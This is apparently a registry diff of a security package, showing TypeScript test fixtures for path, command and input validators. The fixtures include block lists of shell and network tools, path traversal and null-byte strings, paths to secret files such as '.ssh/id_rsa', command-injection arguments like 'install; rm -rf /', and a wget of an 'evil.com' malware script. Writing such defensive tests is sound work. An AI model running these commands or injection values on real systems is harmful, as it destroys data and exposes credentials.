@claude-flow/security 3.0.0-alpha.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (133) hide show
  1. package/.agentic-flow/intelligence.json +16 -0
  2. package/README.md +234 -0
  3. package/__tests__/acceptance/security-compliance.test.ts +674 -0
  4. package/__tests__/coverage/base.css +224 -0
  5. package/__tests__/coverage/block-navigation.js +87 -0
  6. package/__tests__/coverage/coverage-final.json +11 -0
  7. package/__tests__/coverage/favicon.png +0 -0
  8. package/__tests__/coverage/index.html +161 -0
  9. package/__tests__/coverage/lcov-report/base.css +224 -0
  10. package/__tests__/coverage/lcov-report/block-navigation.js +87 -0
  11. package/__tests__/coverage/lcov-report/favicon.png +0 -0
  12. package/__tests__/coverage/lcov-report/index.html +161 -0
  13. package/__tests__/coverage/lcov-report/prettify.css +1 -0
  14. package/__tests__/coverage/lcov-report/prettify.js +2 -0
  15. package/__tests__/coverage/lcov-report/sort-arrow-sprite.png +0 -0
  16. package/__tests__/coverage/lcov-report/sorter.js +210 -0
  17. package/__tests__/coverage/lcov-report/src/CVE-REMEDIATION.ts.html +838 -0
  18. package/__tests__/coverage/lcov-report/src/application/services/index.html +116 -0
  19. package/__tests__/coverage/lcov-report/src/application/services/security-application-service.ts.html +664 -0
  20. package/__tests__/coverage/lcov-report/src/credential-generator.ts.html +1189 -0
  21. package/__tests__/coverage/lcov-report/src/domain/entities/index.html +116 -0
  22. package/__tests__/coverage/lcov-report/src/domain/entities/security-context.ts.html +604 -0
  23. package/__tests__/coverage/lcov-report/src/domain/services/index.html +116 -0
  24. package/__tests__/coverage/lcov-report/src/domain/services/security-domain-service.ts.html +973 -0
  25. package/__tests__/coverage/lcov-report/src/index.html +206 -0
  26. package/__tests__/coverage/lcov-report/src/input-validator.ts.html +1483 -0
  27. package/__tests__/coverage/lcov-report/src/password-hasher.ts.html +895 -0
  28. package/__tests__/coverage/lcov-report/src/path-validator.ts.html +1660 -0
  29. package/__tests__/coverage/lcov-report/src/safe-executor.ts.html +1660 -0
  30. package/__tests__/coverage/lcov-report/src/token-generator.ts.html +1474 -0
  31. package/__tests__/coverage/lcov.info +3650 -0
  32. package/__tests__/coverage/prettify.css +1 -0
  33. package/__tests__/coverage/prettify.js +2 -0
  34. package/__tests__/coverage/sort-arrow-sprite.png +0 -0
  35. package/__tests__/coverage/sorter.js +210 -0
  36. package/__tests__/coverage/src/CVE-REMEDIATION.ts.html +838 -0
  37. package/__tests__/coverage/src/application/services/index.html +116 -0
  38. package/__tests__/coverage/src/application/services/security-application-service.ts.html +664 -0
  39. package/__tests__/coverage/src/credential-generator.ts.html +1189 -0
  40. package/__tests__/coverage/src/domain/entities/index.html +116 -0
  41. package/__tests__/coverage/src/domain/entities/security-context.ts.html +604 -0
  42. package/__tests__/coverage/src/domain/services/index.html +116 -0
  43. package/__tests__/coverage/src/domain/services/security-domain-service.ts.html +973 -0
  44. package/__tests__/coverage/src/index.html +206 -0
  45. package/__tests__/coverage/src/input-validator.ts.html +1483 -0
  46. package/__tests__/coverage/src/password-hasher.ts.html +895 -0
  47. package/__tests__/coverage/src/path-validator.ts.html +1660 -0
  48. package/__tests__/coverage/src/safe-executor.ts.html +1660 -0
  49. package/__tests__/coverage/src/token-generator.ts.html +1474 -0
  50. package/__tests__/credential-generator.test.ts +310 -0
  51. package/__tests__/fixtures/configurations.ts +419 -0
  52. package/__tests__/fixtures/index.ts +21 -0
  53. package/__tests__/helpers/create-mock.ts +469 -0
  54. package/__tests__/helpers/index.ts +32 -0
  55. package/__tests__/input-validator.test.ts +381 -0
  56. package/__tests__/integration/security-flow.test.ts +606 -0
  57. package/__tests__/password-hasher.test.ts +239 -0
  58. package/__tests__/path-validator.test.ts +302 -0
  59. package/__tests__/safe-executor.test.ts +292 -0
  60. package/__tests__/token-generator.test.ts +371 -0
  61. package/__tests__/unit/credential-generator.test.ts +182 -0
  62. package/__tests__/unit/password-hasher.test.ts +359 -0
  63. package/__tests__/unit/path-validator.test.ts +509 -0
  64. package/__tests__/unit/safe-executor.test.ts +667 -0
  65. package/__tests__/unit/token-generator.test.ts +310 -0
  66. package/dist/CVE-REMEDIATION.d.ts +86 -0
  67. package/dist/CVE-REMEDIATION.d.ts.map +1 -0
  68. package/dist/CVE-REMEDIATION.js +221 -0
  69. package/dist/CVE-REMEDIATION.js.map +1 -0
  70. package/dist/application/index.d.ts +7 -0
  71. package/dist/application/index.d.ts.map +1 -0
  72. package/dist/application/index.js +7 -0
  73. package/dist/application/index.js.map +1 -0
  74. package/dist/application/services/security-application-service.d.ts +71 -0
  75. package/dist/application/services/security-application-service.d.ts.map +1 -0
  76. package/dist/application/services/security-application-service.js +153 -0
  77. package/dist/application/services/security-application-service.js.map +1 -0
  78. package/dist/credential-generator.d.ts +176 -0
  79. package/dist/credential-generator.d.ts.map +1 -0
  80. package/dist/credential-generator.js +272 -0
  81. package/dist/credential-generator.js.map +1 -0
  82. package/dist/domain/entities/security-context.d.ts +68 -0
  83. package/dist/domain/entities/security-context.d.ts.map +1 -0
  84. package/dist/domain/entities/security-context.js +132 -0
  85. package/dist/domain/entities/security-context.js.map +1 -0
  86. package/dist/domain/index.d.ts +8 -0
  87. package/dist/domain/index.d.ts.map +1 -0
  88. package/dist/domain/index.js +8 -0
  89. package/dist/domain/index.js.map +1 -0
  90. package/dist/domain/services/security-domain-service.d.ts +71 -0
  91. package/dist/domain/services/security-domain-service.d.ts.map +1 -0
  92. package/dist/domain/services/security-domain-service.js +237 -0
  93. package/dist/domain/services/security-domain-service.js.map +1 -0
  94. package/dist/index.d.ts +119 -0
  95. package/dist/index.d.ts.map +1 -0
  96. package/dist/index.js +145 -0
  97. package/dist/index.js.map +1 -0
  98. package/dist/input-validator.d.ts +306 -0
  99. package/dist/input-validator.d.ts.map +1 -0
  100. package/dist/input-validator.js +393 -0
  101. package/dist/input-validator.js.map +1 -0
  102. package/dist/password-hasher.d.ts +128 -0
  103. package/dist/password-hasher.d.ts.map +1 -0
  104. package/dist/password-hasher.js +183 -0
  105. package/dist/password-hasher.js.map +1 -0
  106. package/dist/path-validator.d.ts +148 -0
  107. package/dist/path-validator.d.ts.map +1 -0
  108. package/dist/path-validator.js +421 -0
  109. package/dist/path-validator.js.map +1 -0
  110. package/dist/safe-executor.d.ts +173 -0
  111. package/dist/safe-executor.d.ts.map +1 -0
  112. package/dist/safe-executor.js +370 -0
  113. package/dist/safe-executor.js.map +1 -0
  114. package/dist/token-generator.d.ts +224 -0
  115. package/dist/token-generator.d.ts.map +1 -0
  116. package/dist/token-generator.js +351 -0
  117. package/dist/token-generator.js.map +1 -0
  118. package/package.json +28 -0
  119. package/src/CVE-REMEDIATION.ts +251 -0
  120. package/src/application/index.ts +10 -0
  121. package/src/application/services/security-application-service.ts +193 -0
  122. package/src/credential-generator.ts +368 -0
  123. package/src/domain/entities/security-context.ts +173 -0
  124. package/src/domain/index.ts +17 -0
  125. package/src/domain/services/security-domain-service.ts +296 -0
  126. package/src/index.ts +271 -0
  127. package/src/input-validator.ts +466 -0
  128. package/src/password-hasher.ts +270 -0
  129. package/src/path-validator.ts +525 -0
  130. package/src/safe-executor.ts +525 -0
  131. package/src/token-generator.ts +463 -0
  132. package/tsconfig.json +9 -0
  133. package/tsconfig.tsbuildinfo +1 -0
@@ -0,0 +1,419 @@
1
+ /**
2
+ * Test Fixtures - Security Configurations
3
+ *
4
+ * Provides predefined security configurations for testing different scenarios.
5
+ *
6
+ * @module v3/security/__tests__/fixtures/configurations
7
+ */
8
+
9
+ /**
10
+ * Security configuration type for testing
11
+ */
12
+ export interface SecurityConfig {
13
+ hashing: {
14
+ algorithm: 'argon2' | 'bcrypt' | 'scrypt';
15
+ memoryCost?: number;
16
+ timeCost?: number;
17
+ parallelism?: number;
18
+ rounds?: number;
19
+ };
20
+ execution: {
21
+ shell: boolean;
22
+ timeout: number;
23
+ allowedCommands: string[];
24
+ blockedCommands: string[];
25
+ };
26
+ paths: {
27
+ blockedPatterns: string[];
28
+ maxPathLength: number;
29
+ allowHidden: boolean;
30
+ };
31
+ validation: {
32
+ maxInputSize: number;
33
+ sanitizeHtml: boolean;
34
+ allowedChars: RegExp;
35
+ };
36
+ tokens: {
37
+ defaultExpiration: number;
38
+ hmacAlgorithm: string;
39
+ tokenLength: number;
40
+ };
41
+ }
42
+
43
+ /**
44
+ * Strict security configuration - maximum security settings
45
+ */
46
+ const strictConfig: SecurityConfig = {
47
+ hashing: {
48
+ algorithm: 'argon2',
49
+ memoryCost: 65536,
50
+ timeCost: 3,
51
+ parallelism: 4,
52
+ },
53
+ execution: {
54
+ shell: false,
55
+ timeout: 30000,
56
+ allowedCommands: ['npm', 'npx', 'node', 'git'],
57
+ blockedCommands: [
58
+ 'rm',
59
+ 'rmdir',
60
+ 'del',
61
+ 'format',
62
+ 'mkfs',
63
+ 'dd',
64
+ 'chmod',
65
+ 'chown',
66
+ 'kill',
67
+ 'killall',
68
+ 'pkill',
69
+ 'reboot',
70
+ 'shutdown',
71
+ 'init',
72
+ 'poweroff',
73
+ 'halt',
74
+ 'wget',
75
+ 'curl',
76
+ 'bash',
77
+ 'sh',
78
+ 'zsh',
79
+ 'eval',
80
+ ],
81
+ },
82
+ paths: {
83
+ blockedPatterns: [
84
+ '../',
85
+ '..\\',
86
+ '/etc/',
87
+ '/tmp/',
88
+ '/var/',
89
+ '/usr/',
90
+ '/bin/',
91
+ '/sbin/',
92
+ '~/',
93
+ '%2e%2e',
94
+ '\0',
95
+ ],
96
+ maxPathLength: 4096,
97
+ allowHidden: false,
98
+ },
99
+ validation: {
100
+ maxInputSize: 10000,
101
+ sanitizeHtml: true,
102
+ allowedChars: /^[a-zA-Z0-9._\-\s]+$/,
103
+ },
104
+ tokens: {
105
+ defaultExpiration: 3600,
106
+ hmacAlgorithm: 'sha256',
107
+ tokenLength: 32,
108
+ },
109
+ };
110
+
111
+ /**
112
+ * Development security configuration - relaxed for local development
113
+ */
114
+ const developmentConfig: SecurityConfig = {
115
+ hashing: {
116
+ algorithm: 'bcrypt',
117
+ rounds: 10,
118
+ },
119
+ execution: {
120
+ shell: false,
121
+ timeout: 60000,
122
+ allowedCommands: ['npm', 'npx', 'node', 'git', 'ls', 'cat', 'grep', 'find', 'echo'],
123
+ blockedCommands: ['rm', 'rmdir', 'del', 'format', 'mkfs', 'dd'],
124
+ },
125
+ paths: {
126
+ blockedPatterns: ['../', '..\\', '/etc/passwd', '/etc/shadow'],
127
+ maxPathLength: 8192,
128
+ allowHidden: true,
129
+ },
130
+ validation: {
131
+ maxInputSize: 100000,
132
+ sanitizeHtml: true,
133
+ allowedChars: /^[a-zA-Z0-9._\-\s@#$%^&*()+=[\]{}|;:,.<>?/\\]+$/,
134
+ },
135
+ tokens: {
136
+ defaultExpiration: 86400,
137
+ hmacAlgorithm: 'sha256',
138
+ tokenLength: 32,
139
+ },
140
+ };
141
+
142
+ /**
143
+ * Testing security configuration - minimal restrictions for test speed
144
+ */
145
+ const testingConfig: SecurityConfig = {
146
+ hashing: {
147
+ algorithm: 'bcrypt',
148
+ rounds: 4, // Fast for testing
149
+ },
150
+ execution: {
151
+ shell: false,
152
+ timeout: 5000,
153
+ allowedCommands: ['echo', 'true', 'false', 'node'],
154
+ blockedCommands: ['rm', 'dd'],
155
+ },
156
+ paths: {
157
+ blockedPatterns: ['../', '/etc/'],
158
+ maxPathLength: 1024,
159
+ allowHidden: true,
160
+ },
161
+ validation: {
162
+ maxInputSize: 1000,
163
+ sanitizeHtml: false,
164
+ allowedChars: /^.*$/,
165
+ },
166
+ tokens: {
167
+ defaultExpiration: 60,
168
+ hmacAlgorithm: 'sha256',
169
+ tokenLength: 16,
170
+ },
171
+ };
172
+
173
+ /**
174
+ * CI/CD security configuration - optimized for automated testing
175
+ */
176
+ const cicdConfig: SecurityConfig = {
177
+ hashing: {
178
+ algorithm: 'bcrypt',
179
+ rounds: 6,
180
+ },
181
+ execution: {
182
+ shell: false,
183
+ timeout: 10000,
184
+ allowedCommands: ['npm', 'npx', 'node', 'git', 'echo'],
185
+ blockedCommands: ['rm', 'rmdir', 'del', 'format', 'mkfs', 'dd', 'chmod', 'chown'],
186
+ },
187
+ paths: {
188
+ blockedPatterns: ['../', '..\\', '/etc/', '/tmp/', '~/', '\0'],
189
+ maxPathLength: 4096,
190
+ allowHidden: false,
191
+ },
192
+ validation: {
193
+ maxInputSize: 50000,
194
+ sanitizeHtml: true,
195
+ allowedChars: /^[a-zA-Z0-9._\-\s]+$/,
196
+ },
197
+ tokens: {
198
+ defaultExpiration: 300,
199
+ hmacAlgorithm: 'sha256',
200
+ tokenLength: 32,
201
+ },
202
+ };
203
+
204
+ /**
205
+ * Legacy security configuration - for backward compatibility testing
206
+ */
207
+ const legacyConfig: SecurityConfig = {
208
+ hashing: {
209
+ algorithm: 'bcrypt',
210
+ rounds: 10,
211
+ },
212
+ execution: {
213
+ shell: true, // Legacy allowed shell
214
+ timeout: 30000,
215
+ allowedCommands: [],
216
+ blockedCommands: ['rm -rf /', 'format c:'],
217
+ },
218
+ paths: {
219
+ blockedPatterns: [],
220
+ maxPathLength: 255, // Old Windows limit
221
+ allowHidden: true,
222
+ },
223
+ validation: {
224
+ maxInputSize: 1024 * 1024,
225
+ sanitizeHtml: false,
226
+ allowedChars: /^.*$/,
227
+ },
228
+ tokens: {
229
+ defaultExpiration: 604800, // 1 week
230
+ hmacAlgorithm: 'sha1', // Legacy
231
+ tokenLength: 16,
232
+ },
233
+ };
234
+
235
+ /**
236
+ * Export all security configurations
237
+ */
238
+ export const securityConfigs = {
239
+ strict: strictConfig,
240
+ development: developmentConfig,
241
+ testing: testingConfig,
242
+ cicd: cicdConfig,
243
+ legacy: legacyConfig,
244
+ } as const;
245
+
246
+ /**
247
+ * Default configuration (uses strict in production-like tests)
248
+ */
249
+ export const defaultConfig = strictConfig;
250
+
251
+ /**
252
+ * Test data fixtures
253
+ */
254
+ export const testPasswords = {
255
+ strong: 'SecureP@ssword123!',
256
+ medium: 'Password123',
257
+ weak: 'password',
258
+ short: 'Abc1!',
259
+ noUpper: 'password123!',
260
+ noLower: 'PASSWORD123!',
261
+ noDigit: 'SecurePassword!',
262
+ noSpecial: 'SecurePassword123',
263
+ empty: '',
264
+ tooLong: 'A'.repeat(200) + '1!a',
265
+ };
266
+
267
+ export const testPaths = {
268
+ safe: [
269
+ './src/index.ts',
270
+ './tests/unit/test.ts',
271
+ '/workspaces/project/src/file.ts',
272
+ 'relative/path/file.js',
273
+ ],
274
+ traversal: [
275
+ '../../../etc/passwd',
276
+ '..\\..\\..\\Windows\\System32',
277
+ '....//....//etc/passwd',
278
+ '%2e%2e%2f%2e%2e%2fetc/passwd',
279
+ '..%00/etc/passwd',
280
+ ],
281
+ absoluteSystem: [
282
+ '/etc/passwd',
283
+ '/etc/shadow',
284
+ '/var/log/auth.log',
285
+ '/tmp/malicious',
286
+ '/usr/bin/rm',
287
+ ],
288
+ nullByte: [
289
+ 'file.txt\0.exe',
290
+ 'image.jpg\x00.php',
291
+ 'safe.txt%00.sh',
292
+ ],
293
+ hidden: [
294
+ '.env',
295
+ '.git/config',
296
+ '.ssh/id_rsa',
297
+ '.htpasswd',
298
+ '~/.bashrc',
299
+ ],
300
+ };
301
+
302
+ export const testCommands = {
303
+ safe: {
304
+ command: 'npm',
305
+ args: ['install', '--save', 'lodash'],
306
+ },
307
+ dangerous: {
308
+ command: 'rm',
309
+ args: ['-rf', '/'],
310
+ },
311
+ injection: {
312
+ command: 'npm',
313
+ args: ['install; rm -rf /', 'package'],
314
+ },
315
+ pipeInjection: {
316
+ command: 'npm',
317
+ args: ['install | cat /etc/passwd'],
318
+ },
319
+ substitution: {
320
+ command: 'npm',
321
+ args: ['install $(whoami)'],
322
+ },
323
+ backtick: {
324
+ command: 'npm',
325
+ args: ['install `rm -rf /`'],
326
+ },
327
+ notAllowed: {
328
+ command: 'wget',
329
+ args: ['http://evil.com/malware.sh'],
330
+ },
331
+ };
332
+
333
+ export const testEmails = {
334
+ valid: [
335
+ 'user@example.com',
336
+ 'user.name@example.co.uk',
337
+ 'user+tag@example.org',
338
+ 'user@sub.domain.example.com',
339
+ ],
340
+ invalid: [
341
+ 'notanemail',
342
+ '@nodomain.com',
343
+ 'no@',
344
+ 'spaces in@email.com',
345
+ 'user@.com',
346
+ '',
347
+ ],
348
+ };
349
+
350
+ export const testUUIDs = {
351
+ valid: [
352
+ '550e8400-e29b-41d4-a716-446655440000',
353
+ '123e4567-e89b-12d3-a456-426614174000',
354
+ 'a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11',
355
+ ],
356
+ invalid: [
357
+ 'not-a-uuid',
358
+ '550e8400-e29b-41d4-a716',
359
+ '550e8400e29b41d4a716446655440000',
360
+ '',
361
+ ],
362
+ };
363
+
364
+ export const testIdentifiers = {
365
+ valid: [
366
+ 'validId',
367
+ 'valid-id',
368
+ 'valid_id',
369
+ 'validId123',
370
+ 'Valid123Id',
371
+ ],
372
+ invalid: [
373
+ '123invalid',
374
+ 'invalid@id',
375
+ 'invalid id',
376
+ 'invalid.id',
377
+ '',
378
+ '-invalid',
379
+ ],
380
+ };
381
+
382
+ /**
383
+ * Factory for creating test scenarios
384
+ */
385
+ export function createTestScenario(
386
+ name: string,
387
+ config: SecurityConfig,
388
+ expectations: {
389
+ shouldPass: boolean;
390
+ errorPatterns?: string[];
391
+ }
392
+ ) {
393
+ return {
394
+ name,
395
+ config,
396
+ ...expectations,
397
+ };
398
+ }
399
+
400
+ /**
401
+ * Common test scenarios
402
+ */
403
+ export const testScenarios = {
404
+ strictPathTraversal: createTestScenario(
405
+ 'Strict path traversal prevention',
406
+ strictConfig,
407
+ { shouldPass: false, errorPatterns: ['traversal'] }
408
+ ),
409
+ developmentRelaxed: createTestScenario(
410
+ 'Development allows more paths',
411
+ developmentConfig,
412
+ { shouldPass: true }
413
+ ),
414
+ testingFast: createTestScenario(
415
+ 'Testing uses fast hashing',
416
+ testingConfig,
417
+ { shouldPass: true }
418
+ ),
419
+ };
@@ -0,0 +1,21 @@
1
+ /**
2
+ * Test Fixtures Index
3
+ *
4
+ * Re-exports all test fixtures for the security module.
5
+ *
6
+ * @module v3/security/__tests__/fixtures
7
+ */
8
+
9
+ export {
10
+ securityConfigs,
11
+ defaultConfig,
12
+ testPasswords,
13
+ testPaths,
14
+ testCommands,
15
+ testEmails,
16
+ testUUIDs,
17
+ testIdentifiers,
18
+ createTestScenario,
19
+ testScenarios,
20
+ type SecurityConfig,
21
+ } from './configurations.js';